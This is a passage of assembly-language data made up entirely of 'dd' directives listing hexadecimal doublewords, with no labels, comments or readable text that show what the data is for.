0DF7CC7D9h, 2AA86903h, 909855E1h, 4C65ECh, 93410375h dd 36C57B10h, 0F4948F00h, 28F1E79Eh, 96C018A8h, 5FEE18CBh dd 703A3C31h, 2FE1DDA9h, 8D344040h, 0D95B618Bh, 8CEB4CF5h dd 0F9E55208h, 69A902CDh, 0A2FC0A7Dh, 88B5E18h, 0BA1AB811h dd 8B9FC3F3h, 5610013Eh, 0D21272CEh, 10688250h, 248DD3Ah dd 4C0FA464h, 0CE9AF814h, 9FC70881h, 0C6402CDFh, 3CB1B20h dd 0CE572276h, 7829827Dh, 0E00AD4B5h, 0F1508C7Bh, 9B89114Bh dd 0A81B6A9h, 618C9AD2h, 8C731588h, 110ADB03h, 85ABDA14h dd 0C48DFB2h, 6C1F8C54h, 76C3F8EFh, 0E7C206ADh, 0A15789BCh dd 48896948h, 2831DC9Bh, 6445E293h, 4983C371h, 87E4C871h dd 0D85A2FE1h, 51F82332h, 0F6BB2E07h, 72208AECh, 1EF885FDh dd 0FC730331h, 0C578F22Ch, 0ED50812Ch, 54C3E217h, 19972DE0h dd 8E34FD00h, 51F026F8h, 8B4F14D6h, 7EC04437h, 3ADA3FD0h dd 51DF10Ah, 0F761043Bh, 3CF13312h, 8000C4Dh, 502DF3A6h dd 0A65420E5h, 1FAF2930h, 10551F08h, 5B0FDF46h, 0A0678A4Ch dd 13DD4074h, 0C8E311CAh, 177361E4h, 0FF89217Eh, 4F10E05Fh dd 431B3ACAh, 0E9999588h, 104D2509h, 0CBF10819h, 13700404h dd 0B76309B1h, 1379C19Ch, 960C48C1h, 408CBC56h, 1D1BAF50h dd 96285019h, 94C6431h, 9146484Dh, 44502247h, 5B895A51h dd 55245412h, 4F914E48h, 59445822h, 12438942h, 4F3D243Ch dd 36B8036h, 70B06302h, 975D2910h, 0B8653AF4h, 51842C54h dd 54D604A5h, 0A03B085Eh, 1C38EDBCh, 83A852E0h, 589502CAh dd 0E894C3E1h, 2E1C7044h, 0E687E153h, 0F867F238h, 10E74AC7h dd 0C0C762C4h, 0F0C340EDh, 812EB7CAh, 70430023h, 0FDF4F88Eh dd 94C082E0h, 87FED748h, 9255FF04h, 88B3DFh, 45FC0B7Bh dd 8B0A12A7h, 4A540DF1h, 0FE89B038h, 0A35D101Ch, 0F14203DCh dd 2245631Dh, 18824409h, 5DF50417h, 4474D4C0h, 0D3DC0112h dd 0C0E08E1Dh, 751041C7h, 3895F613h, 0D292AC60h, 1F9B7F44h dd 38D76212h, 6A185830h, 2B3D5C3Ch, 36EE0591h, 1C0F5708h dd 0EA958354h, 334FF8E1h, 5E28A4DFh, 6E4A76Fh, 95500609h dd 320A10B9h, 5EF8753Dh, 1B0C9203h, 0C0B94541h, 0DCAF48h dd 0F9770419h, 0FBAE51FDh, 78F43801h, 53541CFEh, 72F0A0CFh dd 622700EFh, 0EC20ED76h, 131FFE74h, 3381A494h, 270C8803h dd 7A028AD0h, 0DC92002Dh, 1987EF11h, 0F1F8E933h, 0EC5A40C0h dd 58EF016h, 90EF3822h, 405EDBh, 0F23BF185h, 523A0A76h dd 27F70F39h, 0D83014E9h, 29E62E98h, 821CFE84h, 77E73313h dd 0F9948D00h, 85E90A38h, 68602EF8h, 0E69755ECh, 0AC83A4E8h dd 0F2A1275Ch, 7E185D1Dh, 22AA4CCh, 1DB9473Fh, 2CB884FCh dd 77030339h, 450238EAh, 7F61E0ADh, 0E5FE29B9h, 8D9F38h dd 98617807h, 0F31439F8h, 0A414F772h, 0FEDB4070h, 7510058h dd 0FD90E811h, 7F2AF133h, 0F904F8F8h, 0AF49F51Dh, 0C0BA9CCAh dd 0F60C7A62h, 0EAE004Fh, 0DCA74519h, 801D0267h, 88032BECh dd 0E8422FFEh, 4C032607h, 7874008Bh, 5428C185h, 24611DBEh dd 9000FE98h, 7F2960F0h, 9FEC1CFFh, 5063F043h, 0D7368D28h dd 645B0192h, 616CA020h, 3BED1277h, 50EC1AFFh, 435D74B0h dd 54915165h, 80AE1CCBh, 91F30DACh, 0E93901F9h, 59220E33h dd 98B22A72h, 580F02C9h, 638559C7h, 0B9A2F020h, 43A862F5h dd 0B777D1D0h, 0F4E9E8E1h, 0EE844089h, 0EFC7C08Fh, 0BB87A03Ah dd 8674E62Bh, 8C10D4h, 0FF728854h, 2C91EC2Fh, 0B701D02h dd 480716EAh, 832D82C0h, 8AE8A040h, 8710EF63h, 79601FF3h dd 88013902h, 8EEC16BBh, 0D8B12AFEh, 5A2D4081h, 0EB3417F8h dd 7878C878h, 0D7D45A95h, 9894EC60h, 9584ECA0h, 0FAF7D059h dd 0F81EF894h, 0BB17F022h, 0F152D460h, 33592C2Ah, 8727C760h dd 76EAA016h, 86E01DBBh, 5CA5B893h, 89FF7AB0h, 840E575Ch dd 0E800E689h, 0F2752D38h dd 0F83085F9h, 7C85E516h, 787072FFh, 0D85F0C7Bh, 0EF2CFDACh dd 9685C474h, 0B48231FAh, 13E4CEFEh, 32F42DBBh, 98C0FD0Ch dd 2658EB86h, 48FE3ADCh, 28DF74D8h, 1227EC0Bh, 0BB1C40C4h dd 1D09C533h, 29C485E6h, 502CF3E4h, 0D58EC0ECh, 8187CB4Fh dd 0EE905C20h, 7C76E3D3h, 3AF87C69h, 1D2E8FF2h, 84E64220h dd 3C902C96h, 0EC8082F9h, 6185F416h, 5880FC34h, 0F8742D1Ch dd 867CFD2Fh, 8052B0CCh, 18765263h, 0F0175048h, 0EB0CDB69h dd 0A9C007B2h, 84B6187Fh, 0E3892741h, 7C9E1EEEh, 0A781821h dd 0F8860004h, 0FE895016h, 68A7E938h, 5270C78h, 16EE8B62h dd 38D88159h, 0EC64745Dh, 31FE8F1Eh, 0F8B618AAh, 33835068h dd 0A04C020Ah, 5C031C1Eh, 4B7E2091h, 76F0AD8Bh, 440E2A4Fh dd 0F88A822Dh, 273C7938h, 4E52D498h, 707EFE8h, 1C0289E6h dd 27F69140h, 11872EE7h, 0EA8B008Ch, 0BB76F12Ch, 0AA641302h dd 8B0207BCh, 8850019Ch, 21803BF3h, 0ED87F527h, 2E8F233h dd 80E7392Eh, 0C8D8F092h, 0C0B0768Dh, 0F1DA468h, 0EA5091F3h dd 34A58580h, 17EE94D8h, 0DD87F427h, 0E0340B50h, 5F0239F8h dd 0AB906077h, 595038FBh, 541D72F0h, 500013A3h, 339ED85h dd 3AF01B34h, 5BB021ECh, 0F43A1CEFh, 0C83B2874h, 301DBB4Eh dd 54E0982Dh, 21809C18h, 7E10A938h, 0EA0D627Ch, 0F0A4E91Ch dd 0D7FC8AF0h, 3460C028h, 1C90EE96h, 0E521DC80h, 20F78A30h dd 1D16E376h, 4FC7303h, 0E1F990ECh, 2AE077B8h, 1D51C4DBh dd 1E8C0880h, 0F860BB4Eh, 7CE73B01h, 0D8026D77h, 4785D588h dd 3A3497DCh, 0E8D820D0h, 1D3302F1h, 0F474E62Eh, 0BC20463h dd 80728084h, 0D66D313Ch, 0EFB02D50h, 85BBF0A9h, 12F87960h dd 0B930DCF3h, 30BB8E28h, 1416E9C8h, 0C89658ECh, 1E5DF6Ch dd 4885FDACh, 0A3312BEDh, 83FA76D4h, 2944F748h, 32A5F472h dd 48F07A64h, 0F4E20EEh, 1181F430h, 0F388033Bh, 1668E8F6h dd 3809F0C0h, 0FF1845F0h, 79B4405Ah, 0F42126EFh, 5D8038DCh dd 8D27F98Ah, 0BB7BA0ECh, 0E55A31C0h, 0F2F3B0FDh, 640300EBh dd 504F619Ah, 0DB3D1242h, 36BB8B10h, 2E13008Fh, 0E16733h dd 83D3CDD5h, 2B9F1114h, 59895D00h, 0D48B17DBh, 9BB23027h dd 3AE95228h, 9FD0B01h, 795E2414h, 0AB5878B1h, 47EE00C6h dd 69BE0067h, 7CE2A9E1h, 0B830CD03h, 0EF5321F2h, 0A45D2941h dd 0A97AE220h, 0EA0A3030h, 80B60755h, 8050CF70h, 8D547314h dd 315DE80h, 34426DDDh, 8E9BC96Eh, 0EB051EBEh, 92BAFA53h dd 7A2D9041h, 0B0C40B9Ch, 144619C0h, 80890898h, 9DA25421h dd 0C310A29h, 43C4DE5Dh, 862B8D70h, 3D1064E2h, 0B5A9553Fh dd 89C031D8h, 22805EC0h, 0C14D6343h, 30DB18CFh, 0E8E08FE1h dd 42FB5C05h, 2C836CFCh, 5AE80433h, 660C08EAh, 820D279h dd 9421C467h, 1707870Dh, 60ECCA4Fh, 2D6A2644h, 0DA0A08A0h dd 0EC072C92h, 1FD17462h, 0A3D246B0h, 14C605E1h, 4B4F172h dd 5C3DE2FCh, 0DE5C6B01h, 88503C74h, 0C02CC87h, 0EA9CEC62h dd 80052C9h, 9FD7DABFh, 2B7C6859h, 101C7B5Ah, 0D8BC4BBAh dd 5ABE5681h, 3CB02FC7h, 0A050C23h, 92D9706Bh, 0D9009679h dd 0EAB2757Ch, 3D7F455h, 598FFC84h, 293B5608h, 0E0D4B2C2h dd 196D20E3h, 497E5811h, 550C1890h, 8842F0DEh, 51749112h dd 0D4180D64h, 462E4687h, 4962201Ch, 218408BCh, 0E73463A9h dd 74C7493h, 14577259h, 37E9500Ah, 3966D3DFh, 213F08h dd 93145E10h, 338C6C40h, 68457800h, 0EF0AF54Ch, 0C85563DBh dd 31005773h, 0F683B613h, 35917Eh, 70EFAE02h, 0A5C9B30h dd 6290D154h, 14C2A100h, 12046C66h, 6B1A0050h, 7EEF958Bh dd 1E0319AAh, 0CED92A3Ah, 2CD1068Fh, 70627FD6h, 0A0EFB0A0h dd 0B0E13828h, 8ABA0D18h, 1A86429h, 7D408E06h, 0FC87E1BDh dd 8127443h, 8403D0B7h, 0C1D5127Ah, 10ABCA57h, 0E141D838h dd 310038Ch, 772FEF0Ch, 0B08A801h, 4B8F9F09h, 3ABF5C41h dd 0D7860885h, 828846CEh, 0D81E594Eh, 7744AF0Ah, 0A9818EE4h dd 0EA209645h, 0F0909912h, 0C28F8E7Dh, 1178E7Dh, 0FAB304E9h dd 0A2783327h, 0A3A83095h, 47063A03h, 909CEB81h, 66D4866h dd 3D6CF36h, 0C06F044h, 0AC0F20D5h, 4B8B0988h, 0E7013B08h dd 2FDE3FEBh, 4C5054F3h, 0CEC88B1Bh, 0FB974E80h, 27739260h dd 518E2F70h, 0E0AB3D07h, 8E8520F6h, 7102C3FEh, 2FE98AF5h dd 88C40Ah, 1BCF8723h, 0D76B5A38h, 283E407h, 56617143h dd 0B0238CE0h, 31C068A7h, 38D98026h, 0E8D1325Fh, 0CF586CD0h dd 72A09779h, 0D44A503Eh, 5B01E476h, 5F18738Fh, 30949A0Ah dd 0D23C001h, 49C7D01h, 9A18A80Bh, 9DA5988Bh, 0CD2D3C6Eh dd 99935E00h, 16B84DFBh, 0E1B4D454h, 0E390FC06h, 1B15074h dd 98726FD3h, 0E09DDF7Ch, 6B5008C7h, 57905CB0h, 90444634h dd 79C88CBFh, 0C098542Bh, 5E52F501h, 0AC50DE0Bh, 0D109BBh dd 99296280h, 30114A57h, 21C0C7E8h, 0EDD20120h, 0E0B400E1h dd 0ABE8C529h, 761F2840h, 0A9819A88h, 257EADDh, 84D3A050h dd 0EF0E1FC6h, 4A5F06FFh, 630C182Ah, 98DEE308h, 2CA0A619h dd 0DCD8EA0Dh, 0A0869200h, 8BF0E08Dh, 1D223CB3h, 34DFAD05h dd 768C0166h, 42431FC5h, 40325D7Ch, 0D1627B8Ah, 0C6227CF0h dd 0D2021B00h, 4034B0E7h, 1D2F00EBh, 0CFDFF1DBh, 0A46A6510h dd 3F3CC8h, 142A7C5Dh, 32A1D2EEh, 16F8D176h, 0EA90C8A4h dd 14AF9C88h, 446052F6h, 7ED1FF80h, 0C0A73962h, 0D1F71E07h dd 0F300FDE5h, 0A8F11BBFh, 0BBF41EA5h, 0E983C0A1h, 1CED5F14h dd 540978A4h, 144FB0DEh, 638481C0h, 0D1040418h, 3101627Dh dd 1D20C432h, 7790D1FCh, 3F390023h, 0D2B3EB7Ch, 62057A73h dd 0E590952h, 0FC5C888h, 34DDA84Ch, 4349532h, 0A0B9E7B5h dd 1A294F40h, 99438C32h, 10803F4h, 708D427h, 2FE01905h dd 2404A306h, 0DCEAABFBh, 76019734h, 0A7B12922h, 8C28FBD1h dd 184B6180h, 872430FEh, 0D70428C6h, 50D04503h, 8240CCDEh dd 204C784Ch, 552200h, 28434FCEh, 0F4B42F7Ah, 0D67D8B02h dd 5F74ED86h, 5B3A0E8h, 0E2012CE4h, 6C59626Fh, 2DC0A230h dd 73D302DDh, 0D80A567Eh, 5B1AA8A0h, 7900A3C1h, 95392703h dd 4E515CC4h, 0C130B840h, 6D01DB8Dh, 88F0428h, 0E8EA5642h dd 98113A31h, 1BB8CC11h, 0FB57F700h, 0EBBB5D09h, 0CE6424C2h dd 4A706158h, 0D3B98053h, 0CA3728E3h, 11A099E7h, 145583A3h dd 3139AA04h, 6412114Bh, 0B3692087h, 6242A21Ah, 569B3860h dd 9A287001h, 3F1FD70Ch, 0D2FBAC40h, 0ACAA74D9h, 30B8C0FCh dd 0B71FF614h, 6C8B5602h, 41D4DDD6h, 5186294h, 247CD13Dh dd 1C70D809h, 0BDD100FDh, 99597820h, 0E718F57Dh, 29600D7Bh dd 90546250h, 68054DA7h, 108C5C8Ch, 4463F9Eh, 1CA2C656h dd 910E1403h, 6994C0F0h, 51BB7D02h, 40FD7101h, 8025F6F0h dd 0AB2608DBh, 21506CDAh, 7BD200EFh, 3C8A7D6Bh, 5261EF5h dd 465E44F7h, 26E000C7h, 1AB89198h, 0C0FEEBA3h, 826A44BCh dd 18114061h, 819C5C81h, 32BF8813h, 4F20A0A0h, 24359DA9h dd 404C0B3Dh, 40B8AE19h, 0DCDED600h, 1246D2BDh, 0C87149A0h dd 7A56D320h, 0ECED0290h, 0A1906A47h, 0B5CAC084h, 7D687200h dd 0FE70C09h, 0C6B8216Fh, 0C107668Ch, 775A87C7h, 4F7D0008h dd 1D2CBE3h, 0DF10005Eh, 98A6DD85h, 0DA017838h, 4FEA3054h dd 7089262Eh, 0DC30CE04h dd 97DE597h, 70E750Ah, 0EF60F06Ah, 0B12A779Dh, 56005684h dd 76F797E9h, 604B5810h, 0A0EFE837h, 30905F07h, 0FB8059E6h dd 0B89154BAh, 1A510069h, 8C01F6D6h, 0AE00EE6Bh, 9FB65D37h dd 7DE87E2Ah, 4ED57180h, 0D884E872h, 9CF7DB7Ah, 0A1066708h dd 18F8EA58h, 0F968868h, 3003A4E6h, 0EA86BA67h, 0C2C104E2h dd 91372CCFh, 0EA27BE78h, 90EEF304h, 5B19EA70h, 7509CE16h dd 0A2912437h, 0B833ED78h, 0A6231448h, 7145805h, 14988F84h dd 8D008A40h, 23184D14h, 415C7118h, 0C08CBA19h, 8BB0E2D9h dd 0F900B94Ah, 0A10D6017h, 2E7D1985h, 25300855h, 3B918C97h dd 0F9731C80h, 0EB3E1681h, 0C0793147h, 49BE88BBh, 0F6B0D13Dh dd 0FFE9B9C4h, 94E1CD09h, 0D2F002B4h, 9FE088Fh, 0F0149A47h dd 48F40724h, 227DA08h, 0AE3318DBh, 3BF38048h, 5985EC05h dd 6499CAD4h, 24345EC0h, 8B9C9A26h, 68315B04h, 0A101F3BAh dd 0B232439Ah, 93C87355h, 0EA7B075Eh, 0A2227504h, 0F0CAE8B6h dd 0E8633C87h, 0B0AA821Ch, 0E38348h, 2F9FBCD0h, 2797172Bh dd 0E4745E80h, 32D92E6Fh, 9F0AF4D0h, 0B45940A7h, 3FC8DF18h dd 0E377E560h, 1679B5F8h, 704F2528h, 0CDD6C0CCh, 0A2F3EA81h dd 94300B43h, 0C23457ECh, 0E800188Dh, 0F46993D2h, 0EC095813h dd 16D47310h, 50205770h, 4AFB205Bh, 0BB1828BDh, 911CEA00h dd 5A4E6C3Bh, 3A18C099h, 92F2ADAEh, 0ED9EB605h, 54224AA2h dd 0A46E77ABh, 27EF0C08h, 850246Ch, 65174414h, 890B4h dd 0A35363E2h, 3ABFD0AFh, 0B80AD2F2h, 9C41E0B9h, 35C6D80Fh dd 0C42F4AA0h, 34009B23h, 0DA44EE08h, 1369B206h, 3D05805h dd 7F4A79B0h, 0A956F6C0h, 53A3F404h, 6CD360D6h, 0CE441DEBh dd 0F21137C8h, 0A0A04673h, 0F0670E4Fh, 5E479900h, 1B684E58h dd 5B431F0Ah, 0E9CA0091h, 553221D4h, 350D38h, 9EC741C5h dd 10E352h, 6CD35126h, 5547645Eh, 4168C918h, 32C4E748h dd 0C8194BC0h, 0ACEC610h, 0B3516CAFh, 0CB590110h, 0C44C5F0Bh dd 8C76B467h, 0B2E518C1h, 0FF053A77h, 6DB6D881h, 6F084980h dd 75E60419h, 0EF423C07h, 7A463D85h, 972A0021h, 6096BF1Ah dd 91005578h, 8DDC891Eh, 73D1676Ah, 11A500A8h, 0DEA4C15Dh dd 5E005518h, 0D958DB4Eh, 0C72A4FDAh, 63756878h, 19D13CFEh dd 19661E6h, 409070h, 16BAD3h, 514C4FB6h, 0EC068211h, 43F88C10h dd 79125802h, 209E8A91h, 0FB50723h, 8E40EC96h, 76A4D817h dd 0FEA00D60h, 2C767CFh, 0DF65837Eh, 9CAFBFBAh, 89D16B80h dd 7800C9C8h, 4268EB8Ch, 1E866A32h, 434611A0h, 0F6AF3623h dd 0CD5BB9B8h, 7E02AC19h, 1421CB58h, 0C06AF400h, 8E6202FEh dd 61B765DBh, 276BA8A0h, 0A5002D0Dh, 19D81A0Ch, 0E8FB0910h dd 1267B51h, 4BA391B8h, 9F4D58C8h, 3D471850h, 0F8937B6Ah dd 68490047h, 36898221h, 620C8DD8h, 89DC054h, 8321C055h dd 971E898Bh, 9E03E007h, 0E4C61D0Eh, 22385841h, 5837647Ch dd 898560FDh, 65D82331h, 861B5611h, 0C3F0208Eh, 0B43FE394h dd 47790710h, 2C25CADFh, 2C3AA40Ah, 2D465Ch, 3CC1B9F3h dd 2CFD738Dh, 193172Ah, 0F1966830h, 6E802448h, 86023100h dd 5C25DCD7h, 8146FCFh, 380D21D8h, 54C0200h, 0DF574D62h dd 0AF65005Bh, 8E4576DCh, 0A828FB77h, 0EEF5D43Ch, 5E566F40h dd 0C09368C8h, 0D7830236h, 47222446h, 23D0801h, 9DF8B0B8h dd 7BCA90C0h, 0A0043AC0h, 40F0FB00h, 0B3E76D98h, 2B1BB500h dd 4C5C49EDh, 82C41061h, 0C872284Eh, 115AF937h, 69AC0660h dd 0B0D0CDFh, 4209C745h, 0FE9821C0h, 1F199ACh, 0CA92D812h dd 5054408Dh, 0F2268BA4h, 114C3400h, 0A6FC1659h, 99500024h dd 25FB9146h, 0B6725ED5h, 0C94FDC30h, 507C9371h, 16E8837h dd 6B8D17Eh, 4466FADCh, 5714018Ch, 3954E3h, 49DAA4C2h dd 0D064F80Ch, 303F3263h, 0DFFAAC07h, 4B221546h, 0ACFF8700h dd 6F2E5543h, 3208248Ch, 0B33107E8h, 0CC2DC98Bh, 3891A070h dd 3E239B43h, 6BAC0538h, 0A038FDDFh, 0ACF83E9Ah, 0BAFDA701h dd 300D1D51h, 4E442434h, 52D42A55h, 0EFC12CA8h, 0CCC406A5h dd 49C12170h, 249BC33Fh, 0DDCAA084h, 92208202h, 82EC3531h dd 223C46D7h, 1097C3Ah, 770A3802h, 0F0232748h, 2C387B30h dd 9C1B0097h, 0C25545ADh, 78446903h, 7911E01Dh, 8C60A98Fh dd 0D4E72E2Dh, 0C8512C32h, 22BCE1D1h, 61DAB052h, 8D006A90h dd 4B511CEBh, 68499EF4h, 0B946D8CCh, 196461B7h, 30D9B93Bh dd 0D500FAF2h, 7C9714CBh, 0C4B1A5h, 46BAB793h, 8CE88F3Eh dd 794DAA15h, 44EB3AB0h, 62DC1AD8h, 0B84E7876h, 47B2D20Ch dd 0C0A030h, 4DA282C7h, 4BEA858Ah, 0D2E55B06h, 0EC20502Bh dd 9A5090D4h, 7DC21604h, 23783E0Ah, 9590076h, 0AB9A391Fh dd 0B3501306h, 995055FFh, 525380F0h, 38C67C6h, 0E7F9700h dd 429554FBh, 69D1766Ch, 600EC988h, 700C4E43h, 0D1056FF2h dd 0F6C47BC0h, 3AF8D27Fh, 3A2370h, 0BF402291h, 0BD0A9BD7h dd 0D8B6989Ch, 77B4AA40h, 647806A9h, 0C1DBC2DFh, 58923703h dd 152B3C3h, 0D2105110h, 25B7DAh, 51B0C4E3h, 0AC4EA43Eh dd 7300639Fh, 0B3E05A7Dh, 0A54300ECh, 0E413EBC1h, 7464BCD4h dd 70808858h, 0FDCAFC72h, 70605CE5h, 899F9h, 22EFC6A4h dd 0ED01D4DEh, 49B88EE8h, 0DF4349Bh, 62C10054h, 55861FE6h dd 89311699h, 419860F8h, 9CC08F02h, 3F58E109h, 0C7F301C4h dd 0CF35CC0Eh, 98266570h, 0D0910579h, 435347C2h, 3350D384h dd 39FF4015h, 3C0500B4h, 0CD5F0E0Ah, 0DF79DEh, 3F8BAE9h dd 0C99BB619h, 315D940Eh, 104729CBh, 0C3CE7038h, 7B6D3041h dd 794C0878h, 0C2D48128h, 5470CA10h, 0CCCE3938h, 0D705BC49h dd 15D99EBh, 6DC0788h, 0D188075h, 0DF87C6C7h, 38CE5CA9h dd 8994C9F4h, 8B6B1120h, 0C0280094h, 1E46F513h, 185B475Fh dd 0C2618836h, 0D1B89854h, 0B3517809h, 471C8491h, 50C17FC6h dd 40D88C4Eh, 0D7167859h, 4620FBh, 4156F8h, 706C6EB6h dd 0C35B64A7h, 9151F100h, 66ACD0A1h, 0CAD11260h, 4740802Bh dd 38D259BEh, 0F036380Fh, 7C9BA514h, 0A6AD7D77h, 93D1083Ch dd 0FC3A2814h, 0F82D9003h, 28352666h, 0E8BC7F60h, 5A9B2AB2h dd 0D9AC99C4h, 1C11840h, 0A03E01DAh, 506AD456h, 0BC8CE584h dd 808C3D48h, 33E1DACAh, 5CF84868h, 3ED0780h, 5900D461h dd 0D01E5DA8h, 5AD346Dh, 26DA98A0h, 97540465h, 41E0223Eh dd 80509D84h, 5ACD891h, 0F31758D6h, 4F840B50h, 2DAF8810h dd 0FC9ED80h, 55EB54E6h, 0D35880B8h, 0C649624h, 40A6E942h dd 0C757F880h, 0A0F5C6A1h, 402CB669h, 24FEA07h, 0F20E575h dd 252A1050h, 1490F3B3h, 684053F0h, 0BCFF0E83h, 0A1A05B55h dd 5E2D25AEh, 213CDD31h, 94507EB7h, 12D915h, 44809E7Ah dd 8A7BF402h, 0A73ED30Fh, 0E93B6F8Dh, 7A808286h, 0F85D6058h dd 12324A29h, 909C0570h, 20081855h, 0A2844224h, 0A01C644Dh dd 836E1E20h, 5BD83810h, 8EC9F980h, 371534C8h, 8053F8h dd 863691B9h, 136E2E5Ah, 9F78443h, 7C119578h, 4F858D1h dd 51883E40h, 99ABC5D7h, 0FC9B86D8h, 0C00E183Ah, 80582206h dd 0CD50C966h, 2BC33056h, 0CA4A9751h, 0DC78E402h, 4051FDACh dd 0CE6BB6D0h, 0F6A30721h, 0C7D9B031h, 0D1AC504Bh, 68B06EA6h dd 1898B8FCh, 92E8973Dh, 0F81227B9h, 440C1805h, 48879837h dd 0A608547Ah dd 53204502h, 27B812A4h, 9CE3C110h, 0AE18BB30h, 0CF45F4DEh dd 4A906FC1h, 0D8206035h, 81CD40E4h, 0B4845490h, 84BEF0B9h dd 85D83589h, 8A008238h, 0D7205789h, 50B6604h, 91EA6D61h dd 0C8348B73h, 0BDD6C044h, 8B003D19h, 0C903F2E2h, 99D7CAD0h dd 0F0450600h, 0B400D157h, 0F816E1D3h, 0D62D47h, 0AFB52199h dd 52F9C5F1h, 1ADC59C0h, 29767E2h, 0CA96F885h, 98827AB1h dd 0A48307B6h, 83BF3505h, 100C746Eh, 0E15B46FEh, 44220E3Bh dd 0E8806717h, 0B9E46CCAh, 0A0AE1920h, 5D17EA8h, 32C338BAh dd 6FFC900Ah, 0B218DF61h, 0E7B841AFh, 0D0085DB4h, 0C38C6726h dd 0A91E4DF8h, 8040EB36h, 1ED68235h, 57460E15h, 0A64FFB92h dd 2B6F8FE0h, 0B22AE532h, 650B88CFh, 223F98DCh, 9751A70h dd 58E0AC07h, 0D719DA07h, 0A492A484h, 0D9E871C2h, 0BEC81FBEh dd 8BC9005Eh, 8CE781AFh, 28C04208h, 63A7CF7Eh, 0A8D12648h dd 6B6A090Ch, 4045644Eh, 30FC5C42h, 32118986h, 629D6DD8h dd 898F8705h, 94C1DE24h, 0C003539Fh, 0A2ADFED0h, 4E4B8B0h dd 0C8CAC8B1h, 0C95AA409h, 0F2ED34h, 78C4E2FEh, 83C574Ch dd 166F3688h, 0BC7C04CEh, 8E801D48h, 0C31D5BDBh, 78426C17h dd 0C0054E29h, 0A8430215h, 42FC4078h, 509E115Bh, 9CB31674h dd 2B10913Fh, 165002Ch, 5C517A6Dh, 0F40854E9h, 0A994D59h dd 483CA560h, 61D9670Eh, 48527465h, 2C94DB4h, 36CC240h dd 194C5163h, 195C005Ch, 26DC0666h, 20554E73h, 989B5F30h dd 0F3D4048Ah, 33898360h, 3075D826h, 8C8470h, 95BF0189h dd 0A41DAE45h, 0C061E400h, 0EA9E85EBh, 0E52C027Dh, 0EF01AF1Eh dd 0D408485Bh, 0CB42823Ch, 3091F5Eh, 4B5F8C9Ch, 0C5407190h dd 0B7781042h, 98A9C060h, 0CF8A7E72h, 66DA7A01h, 0A97F8D95h dd 31FF8470h, 0D028778Eh, 8A5084B9h, 0C4425564h, 0E0949ACh dd 0BC454AF8h, 9950400Ch, 794F30A2h, 3C969CDEh, 67F67E50h dd 6E0B1176h, 645697C3h, 6B362410h, 2C4F008Ch, 8C1EFE6Ch dd 600F7C4Eh, 40C86172h, 0E03896ABh, 4382F13h, 16709A74h dd 41D15082h, 87228F8h, 0CC9ED216h, 0DA1FDF54h, 0C0F844CBh dd 1EA8ABBEh, 40E44678h, 0CB215133h, 0F4B965AEh, 0C453A611h dd 0EF302CA2h, 90CB00D2h, 0C7036B92h, 551835E8h, 3E4969D5h dd 19CF667h, 4F83F7C2h, 624CC4F3h, 5461088h, 0C2962C0Bh dd 0B189BCA4h, 0B21C2014h, 3AFC6D52h, 7C914028h, 0D8FB5DE6h dd 0DF439F01h, 30C82EC2h, 8E32614Ch, 2A0448E7h, 18EB745Ch dd 56B10C2Eh, 0D270BADDh, 0BC0430A2h, 260E38Bh, 0E6FB196Ch dd 1064317Dh, 41A942Bh, 9CD350F8h, 0DAF4E03Bh, 0D4337B29h dd 0D10C13h, 0F05583B2h, 0A72A8480h, 0AEFF87Ah, 4F60FBD0h dd 7BD88180h, 38726D7Eh, 289B3486h, 4DA210B3h, 25338232h dd 2C8823Ch, 0EB570072h, 70CF5408h, 2E3138F9h, 8F3000A0h dd 20EF0A90h, 250902F6h, 273EF0B8h, 0C2D03774h, 0B17A7Fh dd 712C1DA9h, 0A2EAF14Dh, 6A4BF09h, 0FF6C0236h, 77DC4056h dd 391C2693h, 573B4288h, 5D4ECE00h, 0A1D02688h, 310B18A8h dd 1316EF2Ch, 381FCB1Dh, 0A89057D7h, 3D84DD86h, 7880DA32h dd 12BEC334h, 1DE0A6DBh, 0A800DC72h, 7FBF5149h, 3FCE0F4h dd 0C320D1F6h, 5CF078C2h, 35392D75h, 0CA21DA5h, 2E8E9A40h dd 16D2B9h, 3868D4A1h, 0E19046BBh, 71C52207h, 0B48EB752h dd 0E4BA0008h, 0C69D7964h, 5C90772h, 60D6BC04h, 3674CBEEh dd 0C8B58B06h, 7938D0h, 0FBF3ADC0h, 1AA29CC4h, 0B9003476h dd 313EBE10h, 39C52078h, 7050DB9Fh, 42C20C59h, 3440C09Ch dd 0B7A0A300h, 94B639EAh, 0CC86FC30h, 8521A908h, 0AB79800h dd 0F491B83Fh, 77CB060Dh, 50D21A9Fh, 46453A18h, 7C16B99h dd 79EFA7F8h, 1998C63Eh, 0EDC9521Ch, 16BB4841h, 9887829Dh dd 0D0F7253Fh, 363D72D7h, 50CE550h, 0F8ADF030h, 1A48FCBDh dd 10C1DBF5h, 0E0169802h, 0E378AC00h, 0C3A9C0DAh, 6A7541E2h dd 502C490Eh, 8F3FEC7h, 81213EDEh, 0DCDB7580h, 0EC579D95h dd 4B5B7A0Fh, 0C200702Ah, 4AD4227Bh, 0BF609CB4h, 7061059h dd 72DD0052h, 0A1F6F91Dh, 0C000058Dh, 0B73D114Dh, 0CE941C8h dd 54157D39h, 1E054810h, 35D095C3h, 6E00D45Fh, 5FBB3D03h dd 0B37419E6h, 80280887h, 375EF21h, 3F60AD5h, 0C7CC6743h dd 36B0937Dh, 98A5A851h, 0D0EBB02h, 450C1480h, 1885ED3Eh dd 0F2F53349h, 0DE1BD31h, 1DE90079h, 0A8A15234h, 0A8012322h dd 92BB811Eh, 0D9F9C7EFh, 46CCF042h, 89D1783Ch, 2FA7EC60h dd 407B9829h, 8401C900h, 54DA20D8h, 1FCBCD2h, 16F7A33Eh dd 607605A5h, 0FBB8326Bh, 0F04EA900h, 39E1D8B4h, 692E6045h dd 0C65B98EEh, 75407963h, 1CA810CEh, 25490FE1h, 0E4709854h dd 0EDA41C15h, 823B80AFh, 48133832h, 3C481274h, 0EF76107Ch dd 0D1A26306h, 7200C137h, 0DCE51A8Dh, 14749A23h, 0F6703067h dd 0B9C6DA18h, 0FF00A658h, 2D9D1BF9h, 0F41DC962h, 1378C0B6h dd 0AF6B0246h, 414C549h, 24BD553Ah, 0C7F80080h, 83C62810h dd 0F5CF1898h, 0E3D7958h, 0C4976528h, 20162926h, 73344E81h dd 4424772Ah, 0FFEC0098h, 0A6F0F199h, 9CCF9C6h, 5382184h dd 2124FFE4h, 58F3C157h, 840820B5h, 9890C281h, 915D82A2h dd 0C7F70055h, 1084C96Eh, 2C2ECF4h, 754D37E4h, 82684A59h dd 0F6BA518h, 0CA01F582h, 6CB72442h, 